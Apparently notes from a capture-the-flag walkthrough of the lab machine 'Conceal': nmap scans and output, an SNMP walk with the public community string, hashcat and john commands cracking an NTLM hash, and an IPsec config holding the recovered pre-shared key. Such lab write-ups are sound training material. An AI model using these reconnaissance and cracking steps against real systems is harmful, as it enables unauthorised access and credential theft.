信息收集

nmap -sV -A -Pn 10.10.10.116

sudo nmap -sU -sV -A 10.10.10.116

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server (public)
| snmp-netstat: 
|   TCP  0.0.0.0:21           0.0.0.0:0
|   TCP  0.0.0.0:80           0.0.0.0:0
|   TCP  0.0.0.0:135          0.0.0.0:0
|   TCP  0.0.0.0:445          0.0.0.0:0
|   TCP  0.0.0.0:49664        0.0.0.0:0
|   TCP  0.0.0.0:49665        0.0.0.0:0
|   TCP  0.0.0.0:49666        0.0.0.0:0
|   TCP  0.0.0.0:49667        0.0.0.0:0
|   TCP  0.0.0.0:49668        0.0.0.0:0
|_  UDP  0.0.0.0:123          *:*
| snmp-processes: 
|_  1: 
| snmp-sysdescr: Hardware: AMD64 Family 23 Model 1 Stepping 2 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
|_  System uptime: 15m35.92s (93592 timeticks)
| snmp-win32-services: 
|   Power
|_  Server
|_snmp-win32-software: 
| snmp-win32-users: 
|_  Guest
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: Host: Conceal

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   314.86 ms 10.10.14.1
2   417.80 ms 10.10.10.116

snmpwalk -c public -v 1 10.10.10.116

hashcat -a 0 -m 1000 9C8B1A372B1878851BE2C097031B6E43  --wordlist /usr/share/wordlists/rockyou.txt

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm-hash.txt
john --show --format=nt ntlm-hash.txt

conn to-conceal
        authby=secret
        auto=route
        keyexchange=ikev1
        ike=3des-sha1-modp1024
        left=10.10.14.4
        right=10.10.10.116
        type=transport
        esp=3des-sha1
        rightprotoport=tcp

10.10.14.4 10.10.10.116 : PSK "Dudecake1!"

#解决不支持3des_cbc算法问题
sudo apt-get install  libstrongswan-extra-plugins
sudo apt-get install libstrongswan-standard-plugins
sudo ipsec start
sudo ipsec up to-conceal